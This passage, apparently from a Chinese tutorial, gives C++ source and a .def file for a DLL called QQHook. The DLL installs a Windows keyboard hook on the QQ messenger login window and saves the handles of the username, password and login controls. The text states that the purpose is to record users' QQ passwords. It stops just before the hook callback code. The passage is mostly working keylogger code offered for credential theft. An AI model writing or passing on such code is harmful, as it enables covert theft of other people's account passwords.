(五) 创建钩子用的DLL 1. 申明函数 新建一个Win32 Dynamic-Link Library项目,命名为:QQHook。选择空DLL选项,然后在QQHook.h中申明函数: #define QQHookLIB_API __declspec(dllexport) //声明要导出的函数 //安装键盘钩子函数 BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall, HMODULE hDll, HWND hLoginWindow, HWND hUserName, HWND hUserPwd, HWND hLoginButton, DWORD dwCreateWindowProcessID); 2. 申明共享数据段以及导出函数 选“新建文件Text File”,文件名称处输入QQHook.def,然后添加如下代码: EXPORTS SetKeyBoardHook SECTIONS QQSpyShare Read Write Shared 这样SetKeyBoardHook函数即为导出函数了,可以在别的项目中被调用。 3. DLL主要代码 接下来在QQHook.cpp文件中添加如下代码: //共享数据段,注意要初始化 #pragma data_seg("QQSpyShare") HWND g_hLoginWindowWnd = NULL; //QQ主窗口句柄 HHOOK g_hMessageHook = NULL; //消息钩子句柄 HHOOK g_hKeyBoardHook = NULL; //键盘钩子句柄 HWND hQQLoginUserName = NULL; HWND hQQLoginUserPwd = NULL; HWND hQQLoginButton = NULL; #pragma data_seg() //安装键盘钩子函数 BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall, HMODULE hDll, HWND hLoginWindow, HWND hUserName, HWND hUserPwd, HWND hLoginButton, DWORD dwCreateWindowProcessID) { BOOL bResult; if(bInstall) { //保存用户名的句柄 hQQLoginUserName = hUserName; //保存密码的句柄 hQQLoginUserPwd = hUserPwd; //保存登陆QQ按钮的句柄 hQQLoginButton = hLoginButton; //保存登陆窗口的句柄 g_hLoginWindowWnd = hLoginWindow; //登陆窗口的主线程,安装钩子的时候要用 DWORD dwCreateLoginWindowThreadId; dwCreateLoginWindowThreadId = GetWindowThreadProcessId(hLoginWindow,NULL); //在登陆窗口主线程上安装钩子 g_hKeyBoardHook = SetWindowsHookEx( WH_KEYBOARD, //安装键盘钩子 (HOOKPROC)KeyBoardProc, //键盘钩子回调函数 hDll, //QQHook.dll模块句柄 dwCreateLoginWindowThreadId); //登陆窗口的主线程 if(g_hKeyBoardHook == NULL) { printf("键盘钩子安装失败!"); return FALSE; } else { printf("键盘钩子安装成功了!"); return TRUE; } } else { //卸载钩子 bResult = UnhookWindowsHookEx(g_hKeyBoardHook); if(bResult == TRUE) { printf("键盘钩子卸载成功!"); return TRUE; } else { printf("键盘钩子卸载失败!"); return FALSE; } } return TRUE; } 以上代码的作用是在登陆窗口的主线程上安装钩子,这样当在QQ登陆窗口中有键盘输入的时候,就会执行回调函数里的代码。只要我们在键盘钩子回调函数中将得到的按键信息进行信息,即可将QQ密码记录下来。以下为键盘钩子回调函数代码:
|